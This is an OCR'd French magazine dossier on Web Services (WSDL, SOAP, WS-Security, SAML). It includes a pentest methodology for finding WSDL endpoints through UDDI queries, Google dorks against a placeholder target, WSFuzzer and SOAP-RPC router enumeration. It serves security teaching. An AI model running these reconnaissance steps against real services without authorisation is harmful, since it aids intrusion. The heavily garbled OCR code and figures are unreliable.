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Le manque de maitrise actuel des problématiques de sécurité

DOSSIER

soulevées par ce type de technologie induit naturellement des
protections trop faibles ou inadaptées, un manque de réactivité
critique, et le retour en gréce des discours marketing rassurants.

Et pourtant, le probléme n'est pas particuliérement compli-
qué. En effet, il s'agit de technologies connues pour la plupart,

bien que généralement utilisées de maniére autonome, et d'ex-
position & des attaques dont les principes n'ont rien de nouveau.
Il ne manque que la compréhension globale et I'identification
des composants-clefs autour desquels s’articule cet ensemble.
C'est 'ambitieux objectif de ce dossier.

2. Dinfrastructure des Web Services

2.1 Composants fonctionnels

Les acteurs

11 faut distinguer quatre types d'acteurs impliqués dans un
Web Service : les utilisateurs, les requesters, les Web Services
intermédiaires et les providers.

Les utilisateurs sont les individus qui vont indirectement
faire appel aux Web Services au travers d'une interface spéci-
fique, généralement une page web. Il est toutefois important de
noter qu'aucune contrainte en termes de type d'interface n'est
imposée et qu'il peut trés bien s’agir d'une interface propriétaire.

Les requesters sont les réels clients du service. Ce sont eux
qui initient les transactions et ils ont pour principal réle de
s’assurer que les requétes sont formatées de maniére correcte
et que les mesures de sécurité répondent aux criteres imposés
par le provider.

Les Web Services intermédiaires sont un élément de la
chaine de traitement et de communication. Ils sont situés entre
le requester et le provider et sont capables d'effectuer tout type
d’opérations sur les données en transit.

Les providers sont les fournisseurs de service qui regoivent
la requéte et la traite. Les mécanismes nécessaires a 'interopé-
rabilité entre les requesters et les providers sont décrits dans
des schémas WSDL (voir plus bas).

Les ressources

Deux types de ressource sont essentiels au bon fonctionnement
de la majeure partie des Web Services : les annuaires et les portails.

Les annuaires ont pour réle de fournir I'ensemble des
éléments nécessaires a l'accés aux schémas WSDL d'un Web
Service. Ils permettent par conséquent d'automatiser les opé-
rations de recherche d'un Web Service et des fonctions qu'il met
a disposition.

Les portails sont les frontaux normalisés anxquels les utili-
sateurs ont accés. Ils ont le role de requesters dans l'infrastruc-
ture et masquent aux utilisateurs l'ensemble des opérations liées
aux Web Services.
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Coordination

Lorsque plusieurs acteurs sont impliqués dans une infras-
tructure de Web Services, il est nécessaire d'organiser le trai-
tement des données tout au long de la chaine applicative. Cette
opération est appelée « coordination » et peut étre effectuce de
deux manieres distinctes :

—#l Orchestration : dans le cas de Web Services fournis par
des acteurs dépendant de la méme entité (entreprise, admi-
nistration, ete.)

-l Chorégraphie : utilisée lorsque les acteurs sont répartis
au sein d’entités dépendant d’'autorités différentes.

Service Web
d'encapsulation
Servica Web 1 Service Web 2 Servicea Web 3

R

Lorchestration est mise en ceuvre a partir d'un Web Service
primaire, lequel s'appuie sur plusieurs autres afin de construire
la réponse 4 fournir au requester. Ce Web Service est appelé
Web Service dencapsulation et se comporte comme un cadre
contenant les données fournies par les autres Web Services.

=

Service Web

primeire C:'@
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Service Web
intermediaire 2

Service Web 4 ‘

Service Web 3

Chorégraphie
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LES WEB
SERVICES

eb services, XML, SOAP ou WS-Security sont des termes que lon croise de
plus en plus souvent et qui sont généralement utilisés en termes simplistes,
faute de comprendre réellement ce dont il sagit. Ils masquent pourtant
une réalité dont la complexité est étonnante. Les ingrédients du cocktail habituel

« meéconnaissance + complexité » étant réunis, il est inévitable que la sécurité soit
une fois de plus laissée pour compte, volontairement ou non.

1. Introduction aux Web Services

1.1 Que sont les Web

Services ?

Le principe fondateur des Web Services est d'of-
frir les éléments d'une infrastructure applicative sup-
portant des interactions automatisées entre systémes
hétérogenes. Lobjectif est par conséquent de faciliter
les échanges et d'accélérer les transactions entre enti-
tés en s'affranchissant au maximum du facteur humain.

Le moyen d'atteindre cet objectif est a la hauteur de
ses ambitions : redéfinir presque entiérement I'ensemble
des formats de données et de communication entre les
systémes. Ainsi, seule une couche de transport est conser-
vée, a savoir le protocole HTTP, alors que tout le reste a

été redéfini depuis le début des années 2000.

Les Web Services se nourrissent done de normes et
de recommandations édictées par des acteurs du monde
de l'application, essentiellement le World Wide Web
Consortium (W3C) [W3C] et le Consortium OASIS
(Organization for the Advancement of Structured
Information Standards) [OASIS] ; exit IEEE et I'TETF.

Ces documents tentent de fournir un cadre générique,
ouvert et flexible pour l'ensemble des composants
fonctionnels d’'une chaine applicative. Le résultat
tient dans une centaine de documents aux directives
parfois surprenantes. En effet, si les directives "MA!"

autres ont été rajoutées, telles que "IS RECOMMENDED",

“IS STRONGLY RECOMMENDED" ou encore "IS

1.2 Les impacts sur

la sécurité

La traduction, en termes de sécurité, des objectifs
affichés des Web Services fait cependant froid dans
le dos : il s'agit de mettre en ceuvre des composants
d'infrastructure ouverts, distribués et automatisés.
Soit a peu pres l'opposé des principes de sécurité
appliqués actuellement.

Un second constat, plus alarmant encore, est
que ces services commencent a se développer de
maniére industrielle dans la quasi-totalité des sec-
teurs de l'industrie, de la finance et des télécoms.
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Dans le cas de la chorégraphie, aucun Web Service n'est a
méme de contrbler le processus dans la mesure ol les acteurs
sont répartis dans des entités différentes. Par conséquent, la
chorégraphie consiste 4 définir les relations entre les différents
composants impliqués dans la chaine applicative.

2.2 Langages et protocoles

Le regne de XML

Garantir l'ouverture et I'interopérabilté des composants des
‘Web Service impose la définition de langages et de protocoles
a4 méme d’étre supportés par 'ensemble des systémes. C'ést la
raison pour laquelle les normes et recommandations se sont
succédées a un rythme impressionnant. Toutefois, un seul et
unique langage (ou plus précisément méthode de représenta-
tion) a été défini comme base unique pour I'ensemble des com-
posants fonctionnels (communication, documents, stockage,
bases de données, etc.) des Web Services : le langage XML.

XML est une recommandation du W3C [ XML11], actuel-
lement en version 1.1 (2éme édition). Il permet de stocker et de
transmettre des données texte structurées sous forme arbores-
cente. Chaque élément de cette arborescence est un neeud auquel
s'appliquent un ou plusieurs attributs (ou pas) et une valeur (ou
pas non plus). A partir de cette base, tout devient possible...

xPath et xQuery

Un document XML est composé de neeuds situés a des
niveaux différents. xPath (pour XML Path) a été concu pour
répondre au besoin normalisé d'identification d'un ou de plu-
sieurs neeuds répondant a certains critéres. Il peut étre consi-
déré comme une forme de SQL limité et applicable a n’importe
quel type de document XML. Les chaines d'identification sont
appelées « expressions »,

Exemple : I'expression /naison/piece[@taille>15] sélectionne
I'ensemble des éléments « piece », enfant des éléments « mai-
son » et dont l'attribut « taille » est supérieur a 15.

Les limitations de xPath sont palliées par xQuery, un lan-
gage mettant en ceuvre un ensemble d'opérateurs poétiquement

appelé « FLOWR » (prononcez flower), pour « For » (opéra-
teur de boucles), « Let » (définition de variables), « Order by »
(fonction de tri), « Where » (condition) et « Return » (valeur de
retour). En outre, xQuery permet, et ¢’est probablement le plus
important, d’effectuer des jointures entre plusieurs documents
potentiellement situés n'importe ou dans l'infrastructure.

xPath et xQuery sont également des recommandations du
W3C et sont respectivement en version 2.0 [XPATHz2o0] et 1.0
[XQUERY10].

WSDL

L'acronyme WSDL signifie « Web Service Description
Language ». 1l s'agit d'un langage de description des services
accessibles, construit sur XML, Les documents WSDL sont
fondamentaux dans la mesure ot ce sont eux qui font I'inter-
face entre deux systémes. En effet, ils décrivent techniquement
I'ensemble des éléments permettant de faire appel aux fonctions
mises en ceuvre par un Web Service : une bibliothéque de fone-
tions, le type des données en entrée et en sortie, ainsi que le
point d'accés a ces fonctions.

WSDL est également une recommandation du W3C, actuel-
lement en version 2.0 [WSDL2o].

SOAP

SOAP est le protocole de communication défini pour 'ensemble
des échanges entre les composants d'une infrastructure de Web
Services. Il est situé au niveau de la couche applicative et repose
sur un protocole de transport, habituellement HTTP. Les messages
SOAP sont au format XML et sont composés impérativement dune
enveloppe dans laquelle se trouve le contenu transmis.

SOAP était précédemment l'acronyme de (Simple Object
Access Protocole). 11 a été défini a l'origine par IBM et Microsoft
avant de devenir une recommandation du W3C. La version
actuelle est la version 1.2 (2éme édition) [SOAP12].

3. Les briques de sécurité des Web Services

3.1 Portée de la sécurité des
Web Services

Un certain nombre de normes ont été définies afin de four-
nir les moyens de sécuriser différents niveaux des Web Services.

Transmission des messages

Aucun critére de sécurité n'a été intégré a SOAP lors de sa
conception. Par conséquent, il est nécessaire de rajouter les

fonetionnalités appropriées 4 la sécurisation des transactions,
tant du point de vue de la confidentialité que de l'intégrité ou
de la disponibilité.

Acces aux ressources

Les fonctions et ressources mises a disposition par les
Web Services n'ont pas nécessairement pour vocation d'étre
accessibles & tout le monde. Par conséquent, il est nécessaire
de définir et d'implémenter des mécanismes d’authentification
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et d’autorisation. Ces derniers doivent étre appligués a l'en-
semble des composants impliqués dans le service fourni
au requester.

Négociations entre les parties

Les Web Services sont généralement construits & par-
tir de multiples acteurs en charge de différents traitements.
Lautomatisation des opérations de découverte et d'utilisation
des services implique des notions de négociations de contrats
techniques d'utilisation entre les parties.

Relation de confiance

La transmission de données a des tierces parties qui, a leur
tour, peuvent faire appel & d’autres acteurs pour le traitement de
tout ou partie de la requéte impose l'établissement de relations
de confiance. En effet, il est possible qu'un acteur doive traiter
ou transmettre des données & un service ou un utilisateur qu’il

ne « connait » pas.

3.2 Vue générale des normes
de sécurité

Les principales normes, qu'elles soient spécifiquement
définies pour les Web Services ou non, sont présentées dans le
schéma ci-dessous.

—

pelations de | [ v ] [(WeFedeaton ] [ Ubellience |
gyt OF TS | UL
SOAP WS-Security WS-Refisbility IWWS—L—F;“L"W]J Accis
| XML Encryption |
XML 1 - |
‘rcpl = SSL/TLS M| I
IP| | PSec =] ]

Couches réseau et de transport

La sécurité des couches réseau et transport n'est pas propre
aux Web Services. Les technologies disponibles et leurs actuelles
implémentations visent plus généralement a garantir la confi-
dentialité et Vintégrité point a point des données en transit.

En outre, certains de ces protocoles permettent, dans une
certaine mesure, d'effectuer I'authentification des acteurs de
la communication. Cest le cas en particulier de TLS et SSLv3,
parfois utilisés dans ce sens dans le cadre de Web Services.
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uche de transport appli

Ia seule forme de sécurité apportée a ce niveau est l'authen-
tification HTTP qui peut étre implémentée de deux manieéres :
lauthentification Basic et lauthentification par Digest.

Quelle que soit la technique utilisée, le niveau de sécurité
est considéré comme relativement faible (voire tres faible pour
T'authentification Basic). Par conséquent, lorsque ces techniques
sont implémentées, elles le sont généralement « au-dessus »
d’'une couche réseau ou de transport sécurisée.

La couche de présentation

Deux mécanismes de sécurité ont été définis pour la couche
de sécurité : XML Signature [XMLDSIG] et XML Encryption
[XMLCRYPT], qui sont tous deux des recommandations du
W3C. Ils fournissent respectivement la capacité de signer et de
chiffrer des données XML.

La principale particularité de ces normes par rapport aux
mécanismes appliqués au niveau des couches réseau ou trans-
port réside dans le fait quelles permettent de signer et/ou de
chiffrer uniquement certaines parties d'un document XML,
dans la mesure oil les données peuvent potentiellement étre
amenées A transiter par des systémes dépendant d’entités dif-
férentes. Toutefois, il s’avere parfois nécessaire que certaines
parties d'un message doivent rester obscures i certains inter-
médiaires ou ne puissent pas étre modifiées en cours de transit.

Tl est également nécessaire de supporter différentes formes
de représentation dans la mesure ot I'encodage ou 'encapsu-
lation peuvent étre modifiés au cours du transit, rendant au
final la signature invalide. Par conséquent, deux formes de
canonisations ont été définies pour XML afin de fournir des
fonctions de normalisation des données avant la vérification
de leur signature.

La plupart des implémentations de sécurité actuelles se
limitent a la protection des messages SOAP. En effet, et dans la
mesure ot nous sommes encore au stade des premiéres implé-
mentations, le niveau de sécurité fourni par les normes a ce
niveau est un compromis acceptable entre la maturité des tech-
nologies disponibles, l'impact structurel sur les infrastructures
existantes et la protection contre les principales menaces.

Deux normes majeures ont été définies a ce niveau :
WS-Security [WSSEC11] et WS-Reliability [WSRMii]. Ce
dernier a essentiellement pour objectif de garantir la qualité etla
disponibilité des canaux de communication SOAP. WS-Security,
quant 4 elle, intégre XML Signature et XML Encryption et leur
rajoute un certain nombre de fonctions essentiellement orien-
tées vers la gestion de jetons (tokens).




1torisations et

politiques de sécurité

Ces composantes de la sécurité sont traitées par le biais de
trois éléments : SAML [SAMIL.2o0], XACML [ XACML2o0] et
WS-Policy [WSP15].

SAML (Security Assertion Markup Language) est un dic-
tionnaire XML qui définit un cadre pour I'échange d'assertions
de sécurité entre les acteurs dun Web Service. Deux parties sont
impliquées dans le traitement des données SAML. La partie qui
fournit I'assertion concernant un ou plusieurs sujets (tels que le
nom d'un utilisateur, il a été authentifié ou non, etc.) et celle qui
décide ou non de faire confiance a cette assertion et effectue les
traitements en fonction des données contenues dans cette derniere,

XACML est un langage reposant sur XML et qui a pour fonction
de représenter et de faire appliquer les politiques de sécurité. Par
conséquent, XACML définit un langage de description et de com-
munication nécessaire a la transmission d’informations concer-
nant Vautorisation ou non d'accés a une ressource ou a un service.

Linteraction entre XACML et SAML peut se décrire comme

suit : XACML autorise ou interdit I'accés aux ressources.

L'assertion SAML est ensuite créée et traitée en fonction des
critéres établis par le Web Service.

WS-Policy est une spécification cadre qui permet de définir les
conditions nécessaires a la communication avec un Web Service.
Cette spécification couvre trois domaines : la sécurité, Fadres-
sage et la fiabilité des communications (reliable messaging).

Les politiques de sécurité sont définies dans la norme
‘WS-SecurityPolicy [WSSP12] qui établit le format de plusieurs
types d’assertions concernant la confidentialité, I'intégrité et les

jetons de sécurité.

Relation de confiance

La nature distribuée des Web Service impose la définition et
la mise en place de mécanismes permettant d'établir une chaine
de confiance entre les acteurs.

Dans le cas de Web Services impliquant @n nombre réduit
d’acteurs dépendant de la méme autorité, il est possible de se
reposer sur des mécanismes basiques tels que des relations « un
pour un » Ce schéma induit que tout acteur dispose de la clef
publique de tous les autres.

de données '
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Une telle organisation n'est pas envisageable pour des
infrastructures de grande taille et susceptibles d'évoluer. Les
Fédérations ont été concues pour répondre 4 ce type de pro-
blématique. Elles impliquent I'implémentation d'un tiers
de confiance dont la fonction est de distribuer les clefs a la
demande. Dans le cas d’infrastructures impliquant plusieurs
entités différentes, les tiers de confiance de chaque entité éta-
blissent des relations « un pour un » entre eux.

Deux normes sont définies actuellement pour permettre la
mise en ceuvre de telles relations entre les acteurs : LibertyAlliance
d’un coté, et WS-Trust [WST13] et WS-Federation [WSFL11]
de T'autre. Dans ce dernier cas, WS-Trust s’appuie sur
WS-SecurityPolicy pour la définition des jetons nécessaires a
la communication entre les Web Service. WS-Federation, quant
a elle, définit des domaines de confiance et la maniére dont
requesters et providers interagissent ensemble.

Conclusion

Cette bréve introduction aux Web Services met en lumiére
leur extraordinaire potentiel en termes de fonctionnalités.
Ils remettent cependant en cause de nombreux concepts qui
apparaissaient comme acquis, en particulier dans le domaine
de la sécurité. En effet, la finalité des Web Services est la créa-
tion dynamique et automatisée de chaines applicatives entre
systémes dépendant d'entités différentes. Cela induit que les

systémes soient potentiellement accessibles a tous et qu'ils four-
nissent & la demande toutes les informations nécessaires a leur
intégration dans une chaine applicative.

Garantir la sécurité d'un tel modéle est un vrai challenge, et
ce dossier est 14 pour le prouver. N
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et article a pour but de présenter une méthodologie permettant de mener
C a bien un test d'intrusion sur les Web Services. Nous parlerons plus
précisément des services Web faisant appel aux technologies WSDL et SOAP.

1. Le point d’entrée

Le premier point consiste & découvrir l'interface

—# types : il déerit tous les types de données utilisés

publique d'accés au Web Service, cest-a-dire le fichier entre le client et le serveur. WSDL n'est pas lié exclu-

WSDL. Ce dernier fournit les méthodes que nous sivement & un systéme de typage, mais il repose par
défaut sur les caractéristiques W3C XML Schema

(IW3CXMLSCHEMALJ).

sommes en mesure d utiliser afin de communiquer avec
le service Web.

Un document WSDL utilise une grammaire XML
pour décrire les Web Services. Il est constitué d'une

-8 nessige @ définit les éléments de données d’'une

opération. Chaque message peut étre composé de

balise racine nommée definitions, principalement com- zéro ou de plusieurs éléments qui représentent les

posée de cinq balises majeures : types, nessage, portType, parameétres d'entrée ou les valeurs retournées par

binding et service, D'autres éléments optionnels sont sou- le message

I L | et s e "1 0 mng o g UTF-E" T

det initions torgettomzpoce="ILtN L/ |GLINLESE .COR/ ">

vent susceptibles d’étre présents ([WSDL]).

*1.B* ercoding"UTF-8"7
="htta;

1 AT IOy ATty int S/

ik HOGICPOTt Type"
! e "ragiclind
TYice nants"pagic"
56 | /oefinitions

—I Figure

b/ Dot T vpes.
w" b tmag icPor t Type *sfe/bind g
o

Figure 1 : Structure dun fichier WSDI,

Structure de lélement « message »

Examinons ces balises les plus classiques :

M definitions : élément racine de tous documents
WSDL, il définit le nom du service Web, déclare
les namespaces utilisés dans le reste du fichier et
contient tous les éléments du service,

—# portlype : est I'un des éléments les plus impor-
tants. Il décrit les opérations qui peuvent étre
effectuées et le type de messages échangés avec le
service Web.
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Figure 3 : Structure de lelément « portType » I

—@ binding : décrit de maniére concréte la fagon dont le service

sera mis en ceuvre.

— service : définit 'adresse pour invoquer le service spécifié. La
plupart du temps, il s'agit d'une URL permettant d'invoquer
le service SOAP.

Dans notre cas, il n'existe qu'une seule opération. En program-
mation C, nous aurons défini la fonction de la maniére suivante :
int **pagic{int rank);

Il existe des outils tels que [MACSOAP] et [WSDIGGER]
permettant une exploitation aisée du document WSDL. Les
bibliothéques [SUDS] ou encore [PERLSOAP] nous sont
d'une grande aide pour développer nos outils de test d'intrusion.

2. A 1a recherche du fichier WSDL

La méthodologie décrite ci-dessous permet dans la plupart
des cas d’identifier le document WSDL sil est présent. Elle
consiste a utiliser différents services, susceptibles d'étre pré-
sents lors du test d'intrusion.

2.1 UDDI

(Universal Description
Discovery and Integration)

L'UDDI est un annuaire possédant une source importante
d'informations sur les services Web comme les serveurs « DNS »
le sont avec les adresses IP et les noms de domaines [UDDI].
11 comprend un schéma XML qui décrit les quatre principaux

types d’informations :

Figure 4 : Les quatre principaux t tinformations dans

un annuaire [ I |

~ usinessintity : fournit des informations descriptives sur l'en-
treprise et sur les services qu'elle propose.

— businessService : comprend des informations sur un service
Web ou un groupe de services Web. Cela inclut généralement
le nom, la deseription et une liste facultative de bindinglenplate.

—@ hindingTenplate : apporte des informations sur comment et ot
accéder au service Web.

— :lode] : structure représentant les « empreintes digitales »,
les interfaces et les types de description techniques pour un
service donné. Il peut également fonctionner comme names-
pace pour identifier d’autres entités, incluant d'autres tHodel.
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Pour communiquer avec I'annuaire, il convient de connaitre
TAPI UDDI. Cette derniére est globalement divisée en deux par-
ties : PAPI d’investigation fournit des fonctionnalités de recherche
et de récupération, tandis que 'API de publication fournit des
fonctionnalités d'insertion et de mise & jour. Nous nous intéres-
sons done & PAPI d’investigation qui nous fournit notamment les
méthodes find_business, find_service, find_binding, find_tModel pour
effectuer des recherches et gt _businessDetail, get_serviceletail,
get_bindingletail, get_tModelDetai] pour récupérer les enregistre-
ments complets demandés.

Puisque l'entreprise Microsoft met 4 disposition un annuaire
UDDI public, nous allons, 2 titre d’exemple, effectuer une
recherche sur les services qu'elle posséde a l'aide du seript akuddi.sh
(cf. annexe). On effectue une recherche a l'aide de la méthode
find_busipess. Le caractére % est, comme en SQL, un joker rem-
placant n'importe quelle chaine de caractéres.

§ akuddi.sh find_business "http://uddi.nicroseft.com:88/inquire"
"tmicrosofii”

La réponse retournée par le serveur indique que I'entité

Microsoft DRMS Production posséde les services Machine Activation,
r Enroliment et Certification.

L.
<pusinessinfos>
<businessInfo businesskey="5529b081-5519-4c28-9629-c42cH8{75bed">
<name xml:lang="en">Microsoft DRMS Production</name>
<seryicelnfos> '
<servicelnfo servicekey="6#ad773a-3ef6-44cf-a5¢c9-78088493¢52¢"
businessKey="5529p881-5510-4c28-9629-c42c50f T5bed">
<name xml:lang="en">Nachine Activation</name>
</servicelnfo>
<sepyicelnfo serviceXey="75bc8909-8766-4603-82da-Hadabdafdlla"
- businessKey="5529b081-3510-4c28-9629-c4 25077 5hed">
<name xml:lang="en">Server Enroliment</name>
</servicelnfo>
<servicelnfo serviceKey="8d3cB471-7767-4ehc-a75f-fcafTch58675"
businessKey="5529b#81-5510-4¢28-9629-c42c5075bed™>
<name xml:lang="en">Certification</name>
</seryicelnfo>
<fservicelnfos>
</pusinessinfo>
Ea’m]:sinesslnfw
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Nous récupérons ensuite les informations sur le service Il va sans dire qu'il existe des applications plus accommo-
Certification & laide de la méthode get_seryicalatail, dantes telles que l'outil en ligne fourni par le site [SOAPCLIENT]
§ akuddi.sh get_serviceDetail *http://uddi.microsoft.con:80/inquire” pour interroger un annuaire UDDI (voir Figure 6).

"8d3c8471-7767-4ebe-a75f-Fcdf 70658675"

Nous identifions, de cette fagon, immédiatement le point d’ac- 2.2 Moteur de recherche pour
ces qui est 'URL https://certification.drm.microsoft.com/ Web Services
certification/certification.asmx

Il existe des moteurs de recherche tels que [SEEKDA] ou
encore [XMETHODS] qui référencent des services Web. Ils

businesskey="5520pAR1-5510-4c28-9620-c42c50¢75hes"> donnent des informations sur le service Web en question et four-
:gm% rfg%;;“g;;g >Certification</nane> nissent également le fichier WSDL tant convoité.

fal
<biisinessService serviceKey="8d3c471-7767-4ebc-a75f-fc9f Tcb58675"

<hindin "gemg1 ate bindingkey="cffcodf-2d41-4f4q-p832-

b117b8c337 -
]gegg cgge ;“Bd’.}cﬂfm -1767-4ehe-a75¢- £, Web Service Detalls: AmazonSearchService B oteot]
c4fTc
<accessPoint URLT%? e="nttps">hitps: /lcertification.drm, bl Usehow | Avatabiiy | Commerss |
microsoft.com/certification/certification. asmx</accessPoint> -
<thodelInstanceDetails> T i Couiby e
ztgadeignsggngggﬁ-dge?elKey=“uu15:3283?-55&-86d5- s e : :
g a‘an 3-30a f ] S t::g‘e mip.eoan arazor wsdl
</tModelInstanceletails> s e
</bindi ngTemplaw s e
</bindingTenplates> W Avakebiy HIRND (35.52% sivce jul 2008) e dotais
</hu51ness Yervice> § Documentstion:  nare (win WSOL)
e i Doscription:
5 User Rating: ? feast your vola by cloking e comespanding slar)
A ce stade, nous avons toutes les informations nécessaires

5 % o e o T _1.,_-'.7_,’]' S"' o1 '_, e Amazo
pour communiquer avec le service Web en question. Higure .S Seit s Sstinaon

Le site [SEEKDA] donne de méme un rapide aperqu
: : du fichier WSDL avec une description de chaque méthode
UveCertlﬁcationWebSewlce présente. De la sorte, il nous est possible de déceler rapide-

The following dperotions Bre supparted. For a formal definition, please reviow the Sarvics Descriptian

4 hitps: mmur.lnn.ﬂrmmmm

ment les méthodes susceptibles de nous fournir des données

* CentifyPasspariName

o GatPassnorMbxstsUd confidentielles.

Figure 5 : Identification des méthodes du Web Service.

| Tiscali_x0020_Credit_x0020_Card_x0020_ServicesSoap | Promms

N 3 % i s . s AuthoflzeAndSettlePaymaent
Toutefois, si nous continuons a interroger 'annuaire UDDI, Aﬂﬁﬁ“mm,wﬂ.mm”m
. 3 . i uSeuP;.p-an
nous pouvons accessoirement tomber sur dautres informations SetloPaymentiospors
utiles pour la suite du test d'intrusions. Db s st o @ croul et ey T B oty kit Bl i
Samw or meuml’ﬂym.

INpLL: AuINGrLEaPay e
Output Muthariz ul‘n-'T- eniFlasponse

fird
<tModel tModelkey="uuid:[...]" operator="ms.con’ =

authorizedame="PHX\bradgro"> S VASSONS  Ae A  d  n 0
<name>Certification Inferface</name> L B o s T o S e Febbg it .
<overviewDoc> o (i

<gverviewURL>https://ultngstnd2/certification/certification. EETS,
i et et e o i et b e B
# £ ax tod bohaviowr and actua! bohaviouwr or result.
</thodel> row Gasor

Cuiput: GetBarvic Risporsa

BefundPayment
Refurds the customar of part or ail of Ihe omount of 8 previously SKted payment

Outpt e a,‘(.-‘:m BpOnSe
_____ . i RencuncoPayment
ann EEEETC T

il Advanced UOD! Brawser sluiiaiiets Deieios @ payment that hasn baen seitied, or performs a full refund on 8 setiied payment.
4 harp: { {soapeiient.com; UDDIAY. htmi =) InpLt: RenouncePiyman
L Oulput RerouncoPsymeriFiesponse

Advanced UDDI Bmmr

& SettlePayment
Confirms a payment up to the amount tha! was proviously suthorized,

Operatar URL: Ttp: fugdi.microsetcom/inguire
Search For: Micronst: in | susir
Exact Match t B, VerifyCard
Seurch unars: :::: :;n:i::‘" I - Descending m:’:::?ﬂ 5 b s plagin
Sort By Date Tl Ascending Dhrdpul: VerfyCardRespornse
Maximum Rows: sa- 3]
G Figure 8 : Publication d'un document WSDL

Figure 6 : Outil en ligne SoapClient
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De plus, le site embarque un client SOAP pour exécuter les
meéthodes souhaitées.

2.3 Moteur de recherche

Google

Les Google Hacks sont connus pour leurs bienfaits lorsqu'il
s’agit de trouver des trésors bien enfouis. La composition des
liens vers les documents WSDL ne peut que nous faciliter la
tache. En effet, ces liens sont généralement constitués du mot
« WSDL ». Il devient ainsi enfantin de découvrir le fichier
recherché avec une combinaison de quelques bons mots-clés.
Les liens vers les fichiers WSDL sont également présents dans
des documents dits « de découverte ». Ces derniers, utilisés
par les technologies Microsoft, portent en général I'extension
« DISCO » et sont composés de la sorte :

<lxml version="1.0" encoding="utf-8"2>
<discavery xmins:xsd="http://wwu.n3.0rg/2081/XHLSchema"
xmins:xsi="http:/www.w3.org/2081/XMLSchema-instance"
xmins="http://schemas.xmlsoap.org/disco/">
<contractRef ref="https://webservices,con/Service.asmlwsdl"
docRef="https://webservices.com/Service.asmy"
xmins="fittp://schemas. xmlsoap.org/disco/scl/" />
<soap address="https://webservices.com/Service.asmx’
xmins:ql="http://webservices.con”
binding="gl:Service"
xmins="http://schemas.xmlsoap.org/disco/soap/" />
</discovery>

De maniére générale, les liens a rechercher sont formés de

la maniére suivante :

<serviceweb-victime>:<port>/<nom-service>.wsd]

Pentest d'un Web Service

afin de récupérer le document WSDL. Loutil [WSFUZZER],
spécialisé dans les services Web, est capable de chercher, a par-
tir d'une URL donnée, les fichiers WSDL présents.

§ python WSFuzzer.py -h 127.0.8.1
Running WSFuzzer 1.9.4, the Tatest version

If you would like to establish the directory name for the

results then type it in now (leave blank for the default):

#) Basic Discovery (faster but less accurate)

1) Advanced Discovery {slower and more intrusive but mare thorough
and accurate)

2) Advanced Discovery (like #1) with port scanning first

Probe Type: @
Checking 3276800088 maximum number of dir combo’s based on & depth
of 5 :

(..

La découverte de liens non légitimes est en mesure de nous
orienter vers un annuaire UDDI :

=

Acumen UDDI (AUDDI™) Listener.

Your message reached this servet via HTTP GET. You must use HTTF FOST 10 send your
message

Capymignt # 2000-3002 Asuran Advancet Tashnsioging. All Bght resarved

Figure 9 : Découverte d'un annuaire UDDI

b

Ou bien le contenu des pages Web contient bien souvent des
informations utiles pour la suite des événements :

=

<servicewed-victime>:<port>/<nom-service>.disco
<serviceweb-victime>:<port>/<nom-service>.<ext>INSOL
<serviceweb-victime>:<port>/<nom-service>.<ext>IDISCO
Ainsi, I'association des Google Hacks et de bons
mots-clés choisis a cet effet aident 4 1a localisation du
fichier WSDL concernant le Web Service a auditer :

]

)
i
«{ BCRTPT>

<div clams="foouaPlssh™>«div i’ sasFlashPocuadl s div

test and abalymis of
<div eloss-"FErF =D

papbtn.onolick ~domain;

slse{timer = setTimeout (domove,spoed); ) [
|
i

gobj ¢ lassiame " hidden”
gx=d85

jolse
if {ex»»282) {elearTimocul {timer) jgua0 popbin.onclick =demain;}

web servioes

PP sfesting Analyois Sarvices <Br /ecimg alis"" sros="/viesPage.do?pagoeCode-3504-NR> </div>

site:victimiser.com fnurl:wsdl
site:victimiser.com filetype:wsdl
sitesvictiniser.com filetype:disco
sitesvictimiser.com inurliwsd? filetypesasmx
sitevictimiser.com inurl:disco filetype:asmx
site:victimiser.com inurl:wsdl filetype:cfc
site:victimiser.com inurl:wsd] filetype:dil
sitesvictimiser.com inurl:wsd] filetype:php
sitervictimiser.com inurl:wsd] filetype:jws
site:victimiser.com inurliwsd] filetype:<ext>
[

N'oublions pas que Google n'est pas le seul moteur de recherche
possédant des Google Hacks. Il en existe plusieurs, chacun avec

des spécificités différentes qui peuvent se révéler incontournables.

2.4 Recherche semi-manuelle

Etape pour ainsi dire quasi obligatoire, nous analyserons
tous les services nécessaires présents lors du test d'intrusion
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Figure 1o : Commentaire HTML indiguant la présence dun Web Service

Dans bien des situations, le fichier WSDL n’est pas tres loin :

3 |6 netp  www example. com ) viewPRge. 007 pageCooe =2 504 -NK

Figure 11 : Découverte du document WSDL




3. Le point d’entrée est introuvable

Malgré toutes ces recherches, le fichier WSDL reste par-
fois introuvable. Et bien qu'il existe une multitude de raisons a
cette cause, la plus fréquente reste néanmoins que les méthodes
ont été codées en dur dans les applications utilisant le Web
Service. De ce fait, il n'est pas nécessaire de diffuser le fichier
WSDL, puisque les applications connaissent déja les messages
de communication.

Toutefois, certains services Web permettent de faire paraitre
leurs méthodes par le canal de routeur SOAP-RPC. Ils sont recon-
naissables du fait de la présence d'un servlet « rpcrouter ». La
encore, il n'est plus nécessaire de mettre en place un fichier WSDL.

|| 4 natp: { fwhae exampie.com isoap/ serviet /racrouter

SOAP RPC Router

Sorry, | don't speak via HTTP GET- you have wuse HTTP POST o talk o me.

Figure 12 : Servlet routeur SOAP-RPC fonctionnel I

Dans cette situation, le seript akrpcrouter.sh nous vient en

aide pour récupérer les informations dont nous avons besoin.

§ akepcouter.sh Tist "http://www.example.com/soap/serviet/rpcrouter”
Le service Web nous réplique la réponse suivante :

<%xml version="1.8" encoding="UTF-§"?>
<SOAP-ENV:Envelope xmins:SOAP-ENY="http://schemas.xmIsoap.org/soap/
envelape/"
xmins:xsi="http://iww.n3.0rg/2681/XMLSchema-
instance”
xmins;xsd="http://uaw.w3.0rg/2081/XM Schena">
<SOAP-ENV:Body>
<nsl:1istResponse xmins:nsi="urn:xml-soap-service-management-
seryice’ _
SOAP-ENY:encodingStyle="http://schemas. xmisoap.org/soap/
encoding/">
<return xmins:ns2="nttp://schemas.xmlsoap.org/soap/encoding/"
xsistype="ns2:Array” nsiarrayType="xsd:string[2]™>
<item xsi:type="xsd:string">urn:DataService</iten>
<item xsi:type="xsd:string">urn:CanpusService</item>
<freturn>
</nsl:1istResponse>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Nous constatons que le servlet n'exige aucune authenti-
fication et met & disposition les méthodes urn:lataService et
urn:Campusservice. Afin d'utiliser ces derniéres, nous devons réin-
terroger le servlet pour qu'il nous apporte plus de détails.
